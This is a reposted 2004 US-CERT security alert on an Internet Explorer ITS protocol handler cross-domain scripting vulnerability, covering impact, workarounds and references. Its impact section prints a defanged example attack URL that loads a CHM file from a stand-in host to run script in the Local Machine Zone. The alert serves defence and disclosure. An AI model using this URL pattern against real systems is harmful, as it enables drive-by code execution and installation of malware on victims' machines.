[加入收藏]
[设为首页]
 
  首 页 | 文档集锦 | 精品荟萃 | 专 栏 | 搜 索 | 论 坛 2024.04.20  
  枫林在线 >> US-CERT Technical Cyber Security Alert TA04-099A -- Vulnera (转载) 本文已被浏览14292  
 
US-CERT Technical Cyber Security Alert TA04-099A -- Vulnera (转载) [转载]
(2004-04-09 21:02:13) 转载:tshxp.
发信人:tshxp@smth.org (I'll be back),信区:cn.bbs.comp.security
标  题:US-CERT Technical Cyber Security Alert TA04-099A -- Vulnera (转
载)
发信站:BBS 水木清华站
转信站:LeafOK!netnews.sdu.edu.cn!maily.cic.tsinghua.edu.cn!SMTH

【 以下文字转载自 BugTraqML 讨论区 】
发信人: cert-advisory@cert.org (CERT Advisory), 信区: BugTraqML
标  题: US-CERT Technical Cyber Security Alert TA04-099A -- Vulnerabil
ity in I
发信站: NCTU CSIE FreeBSD Server (Fri Apr  9 08:47:21 2004)
转信站: SMTH!maily.cic.tsinghua.edu.cn!newsfeed.kabelfoon.nl!news.moat
.net!ctu-
出  处: freebsd.csie.nctu.edu.tw


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Vulnerability in Internet Explorer ITS Protocol Handler

   Original release date: April 8, 2004
   Last revised: --
   Source: US-CERT

Systems Affected

     * Microsoft Windows systems running Internet Explorer

Overview

   A cross-domain scripting vulnerability in Microsoft Internet Explor
er
   (IE) could allow an attacker to execute arbitrary code with the
   privileges of the user running IE. The attacker could also read and

   manipulate data on web sites in other domains or zones.

I. Description

   There is a cross-domain scripting vulnerability in the way ITS
   protocol handlers determine the security domain of an HTML componen
t
   stored in a Compiled HTML Help (CHM) file. The HTML Help system
   "...uses the underlying components of Microsoft Internet Explo
rer to
   display help content. It supports HTML, ActiveX, Java, [and] script
ing
   languages (JScript, and Microsoft Visual Basic Scripting Edition).&
quot;
   CHM files use the InfoTech Storage (ITS) format to store components

   such as HTML files, graphic files, and ActiveX objects. IE provides

   several protocol handlers that can access ITS files and individual 
CHM
   components: its:, ms-its:, ms-itss:, and mk:@MSITStore:. IE also ha
s
   the ability to access parts of MIME Encapsulation of Aggregate HTML

   Documents (MHTML) using the mhtml: protocol handler.

   When IE references an inaccessible or non-existent MHTML file using

   the ITS and mhtml: protocols, the ITS protocol handlers can access 
a
   CHM file from an alternate source. IE incorrectly treats the CHM fi
le
   as if it were in the same domain as the unavailable MHTML file. Usi
ng
   a specially crafted URL, an attacker can cause arbitrary script in 
a
   CHM file to be executed in a different domain, violating the
   cross-domain security model.

   Any programs that use the WebBrowser ActiveX control or the IE HTML

   rendering engine (MSHTML) may be affected by this vulnerability.
   Internet Explorer, Outlook, and Outlook Express are all examples of

   such programs. Any programs, including other web browsers, that use

   the IE protocol handlers (URL monikers) could function as attack
   vectors. Also, due to the way that IE determines MIME types, HTML a
nd
   CHM files may not have the expected file name extensions (.htm/.htm
l
   and .chm respectively).

   NOTE: Using an alternate web browser may not mitigate this
   vulnerability. It may be possible for a web browser other than IE o
n a
   Windows system to invoke IE to handle ITS protocol URLs.

   US-CERT is tracking this issue as VU#323070. This reference number

   corresponds to CVE candidate CAN-2004-0380.

II. Impact

   By convincing a victim to view an HTML document such as a web page 
or
   HTML email message, an attacker could execute script in a different

   security domain than the one containing the attacker's document. By

   causing script to be run in the Local Machine Zone, the attacker co
uld
   execute arbitrary code with the privileges of the user running IE. 
The
   attacker could also read or modify data in other web sites (includi
ng
   reading cookies or content and modifying or creating content).

   Publicly available exploit code exists for this vulnerability. US-C
ERT
   has monitored incident reports that indicate that this vulnerabilit
y
   is being exploited. The Ibiza trojan, variants of W32/Bugbear, and

   BloodHound.Exploit.6 are some example of malicious code that exploi
t
   this vulnerability. It is important to note that any arbitrary
   executable payload could be delivered via this vulnerability, and
   different anti-virus vendors may identify malicious code with
   different names.

   A malicious web site or email message may contain HTML similar to t
he
   following:

     ms-_its:mhtml:file://C:\nosuchfile_mht!http://www.example.com//ex
pl
     oit_chm::exploit_html

     (This URL is intentionally modified to avoid detection by
     anti-virus software.)

   In this example, HTML and script in exploit.html will be executed i
n
   the security context of the Local Machine Zone. It is common practi
ce
   for exploit.html to either contain or download an executable payloa
d
   such as a backdoor, trojan horse, virus, bot, or other malicious co
de.

   Note that it is possible to encode a URL in an attempt to bypass HT
TP
   content inspection or anti-virus software.

III. Solution

   Currently, there is no complete solution for this vulnerability. Un
til
   a patch is available, consider the workarounds listed below.
   Disable ITS protocol handlers

   Disabling ITS protocol handlers appears to prevent exploitation of

   this vulnerability. Delete or rename the following registry keys:

     HKEY_LOCAL_MACHINE\SOFTWARE\Classes\PROTOCOLS\Handler\{ms-its,ms-
it
     ss,its,mk}

   Disabling these protocol handlers will significantly reduce the
   functionality of the Windows Help system and may have other uninten
ded
   consequences. Plan to undo these changes after patches have been
   tested and installed. Follow good Internet security practices

   These recommended security practices will help to reduce exposure t
o
   attacks and mitigate the impact of cross-domain vulnerabilities.

     * Disable Active scripting and ActiveX controls

       NOTE: Disabling Active scripting and ActiveX controls will not

       prevent the exploitation of this vulnerability.

       Disabling Active scripting and ActiveX controls in the Internet

       and Local Machine Zones may stop certain types of attacks and w
ill
       prevent exploitation of different cross-domain vulnerabilities.


       Disable Active scripting and ActiveX controls in any zones used
 to
       read HTML email.

       Disabling Active scripting and ActiveX controls in the Local
       Machine Zone will prevent malicious code that requires Active
       scripting and ActiveX controls from running. Changing these
       settings may reduce the functionality of scripts, applets, Wind
ows
       components, or other applications. See Microsoft Knowledge Base

       Article 833633 for detailed information about security settings

       for the Local Machine Zone. Note that Service Pack 2 for Window
s
       XP includes these changes.

     * Do not follow unsolicited links

       Do not click on unsolicited URLs received in email, instant
       messages, web forums, or Internet relay chat (IRC) channels.

     * Maintain updated anti-virus software

       Anti-virus software with updated virus definitions may identify

       and prevent some exploit attempts. Variations of exploits or
       attack vectors may not be detected. Do not rely solely on
       anti-virus software to defend against this vulnerability. More

       information about viruses and anti-virus vendors is available o
n
       the US-CERT Computer Virus Resources page.

Appendix B. References

     * Vulnerability Note VU#323070 -
       <http://www.kb.cert.org/vuls/id/323070>

     * US-CERT Computer Virus Resources -
       <http://www.us-cert.gov/other_sources/viruses.html>

     * CVE CAN-2004-0380 -
       <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0380
>

     * Introduction to URL Security Zones -
       <http://msdn.microsoft.com/workshop/security/szone/overview/
overvi
       ew.asp>

     * About Cross-Frame Scripting and Security -
       <http://msdn.microsoft.com/workshop/author/om/xframe_scripti
ng_sec
       urity.asp>

     * MIME Type Determination in Internet Explorer -
       <http://msdn.microsoft.com/workshop/networking/moniker/overv
iew/ap
       pendix_a.asp>

     * URL Monikers -
       <http://msdn.microsoft.com/workshop/networking/moniker/monik
ers.as
       p>

     * Asynchronous Pluggable Protocols -
       <http://msdn.microsoft.com/workshop/networking/pluggable/plu
ggable
       .asp>

     * Microsoft HTML Help 1.4 SDK -
       <http://msdn.microsoft.com/library/en-us/htmlhelp/html/vscon
HH1Sta
       rt.asp>

     * Microsoft Knowledge Base Article 182569 -
       <http://support.microsoft.com/default.aspx?scid=182569>

     * Microsoft Knowledge Base Article 174360 -
       <http://support.microsoft.com/default.aspx?scid=174360>

     * Microsoft Knowledge Base Article 833633 -
       <http://support.microsoft.com/default.aspx?scid=833633>

     * Windows XP Service Pack 2 Technical Preview -
       <http://www.microsoft.com/technet/prodtechnol/winxppro/sp2pr
eview.
       mspx >

     * AusCERT Update AU-2004.007 - <http://www.auscert.org.au/3990
>
     _________________________________________________________________


   This vulnerability was reported by Thor Larholm.
     _________________________________________________________________


   Feedback can be directed to the author: Art Manion.
     _________________________________________________________________


   Copyright 2004 Carnegie Mellon University.

   Terms of use:

 <http://www.us-cert.gov/legal.html>

   Revision History

   April 8, 2004: Initial release
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)

iD8DBQFAdbqQXlvNRxAkFWARAtfuAKD0NGSDWbtITNqXKmZk7qcbJD/h2QCfRlU/
sWme3VvhRbvk9KjNUNyTsbY=
=kL0G
-----END PGP SIGNATURE-----


========== * * * * * ==========
已有0人发表评论
相关评论】 【关闭窗口
关于我们 - 联系我们 - 隐私保护 - 帮助信息
枫林在线 版权所有
Copyright © 2003-2012 www.FengLin.info, All rights reserved.